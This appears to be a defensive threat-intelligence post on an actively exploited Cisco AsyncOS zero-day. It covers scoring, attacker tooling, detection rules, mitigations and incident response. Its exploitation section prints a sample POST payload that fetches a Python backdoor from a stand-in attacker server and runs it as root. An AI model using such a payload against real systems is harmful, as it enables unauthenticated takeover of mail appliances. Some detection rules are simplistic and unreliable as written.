Intro

Cisco has confirmed active in-the-wild exploitation of a maximum-severity zero-day vulnerability affecting Cisco Secure Email Gateway and Cisco Secure Email and Web Manager appliances. The activity is attributed to a China-nexus advanced persistent threat tracked as UAT-9686 and enables unauthenticated root-level command execution with persistent access.

📌 CVE Context

– Products affected: Cisco Secure Email Gateway, Cisco Secure Email and Web Manager
– Software: Cisco AsyncOS (all releases)
– Disclosure timeline: Cisco became aware December 10, 2025; exploitation observed since late November 2025
– Attack vector: Internet-exposed Spam Quarantine interface
– Authentication required: None
– Impact: Arbitrary command execution as root with persistence

CVSS Metric Breakdown (v4.0) - CVE-2025-20393 (Improper input validation leading to root RCE)
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): None
User Interaction (UI): None
Confidentiality Impact (VC): High
Integrity Impact (VI): High
Availability Impact (VA): High
Scope Changed (SC): Changed
Safety Impact (SI): None
Automation (SA): High
Exploit Maturity: Active Exploitation
Base Score: 10.0 (Critical)

– Exploit tooling observed: ReverseSSH (AquaTunnel), Chisel, AquaPurge log cleaner, AquaShell Python backdoor
– Affected population: Limited subset of appliances with exposed Spam Quarantine interfaces

🎯 EPSS Scoring

EPSS score: 0.04563
Percentile: 0.88818

🔬 Exploitation Detail

– Threat actor scans for exposed Spam Quarantine endpoints
– Sends crafted unauthenticated HTTP POST requests abusing improper input validation
– Achieves root-level command execution on the underlying OS
– Deploys tunneling tools and backdoors to maintain persistent access

POST /quarantine HTTP/1.1
Host: victim-appliance
Content-Type: application/x-www-form-urlencoded

cmd=$(curl http://attacker-server/aquashell.py | python3)

📎 Attacker Behavior Snapshot

– Attacker sends crafted unauthenticated HTTP POST requests
– System executes payload with root privileges
– Backdoors leak command output and system state over encrypted tunnels

🧩 Why This Matters

This vulnerability demonstrates how internet-exposed administrative features on security appliances become immediate high-value targets. Email gateways operate at trust boundaries and provide attackers privileged positioning once compromised.

Exploitation results in:

• Full root-level command execution
• Persistent access via tunneling backdoors
• Potential lateral movement into internal mail and identity systems

🧩 MITRE ATT&CK Mapping

Initial Access: T1190 – Exploit Public-Facing Application
Execution: T1059.003 – Command Shell
Persistence: T1505.003 – Server Software Component

🧪 Detection Rules

YARA Rule (Memory/Doc/PCAP)

rule AquaShell_Python_Backdoor
{
    meta:
        description = "Detects AquaShell Python backdoor artifacts"
    strings:
        $python_exec = "python"
        $http_post = "POST"
        $decode = "decode"
    condition:
        all of them
}

Suricata or Zeek (Network)

alert http any any -> any any (
msg:"Cisco AsyncOS Spam Quarantine Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/quarantine"; http_uri;
sid:202520393;
)

Sigma Rule (SIEM/EDR)

title: Cisco AsyncOS Root Command Execution
logsource:
  product: linux
detection:
  selection:
    process.user: root
    process.command_line|contains:
      - "ReverseSSH"
      - "chisel"
      - "aquashell"
  condition: selection

🔎 Detection Strategies

✅ Network Detection:

• Monitor HTTP POST requests to Spam Quarantine endpoints
• Detect unexpected outbound tunnels from email appliances
• Alert on internet exposure of management interfaces

✅ Endpoint Detection:

• Root shell execution originating from web services
• Presence of tunneling tools or Python backdoors
• Log deletion or manipulation attempts

⚡ Splunk Query

index=network sourcetype=http
uri_path="/quarantine"
method=POST
| stats count by src_ip, dest_ip, user_agent

🛠️ SOC Detection Strategy

– Treat email security appliances as high-priority assets
– Correlate web access logs with root process execution
– Escalate immediately on detection of tunneling tools or persistence mechanisms

🛠️ Tools & Techniques

Tool | Usage
Sysmon | Track privileged process execution
Velociraptor | Hunt for tunneling and persistence artifacts
Zeek | Inspect HTTP POST abuse patterns
Sigma/YARA | Detect known malware and persistence behavior

🛡️ Mitigation & Response

– No patch available at time of disclosure
– Remove Spam Quarantine interfaces from internet exposure immediately
– Restrict access to trusted IPs behind firewalls
– Separate mail handling and management interfaces
– Disable HTTP access to administrative portals
– Rebuild appliances if compromise is confirmed

📋 Incident Response Snippets

– Review web logs for Spam Quarantine access patterns
– Identify outbound tunnels and unexpected root processes
– IR questions: Was persistence deployed? Were credentials accessed? Was mail data exposed?
– Full appliance rebuild required to remove persistence

📚 Suggested Reading & External References

– Cisco Security Advisory for CVE-2025-20393
– CISA Known Exploited Vulnerabilities Catalog
– Prior reporting on AquaTunnel and APT41 tooling
– GreyNoise reporting on VPN credential-based campaigns

🗾️ Final Thoughts

This zero-day turns an email security appliance into a root-level foothold without authentication.

The most effective action now is to eliminate all unnecessary internet exposure immediately.

Detection is field work, especially when perimeter devices are the target.

Published: December 19, 2025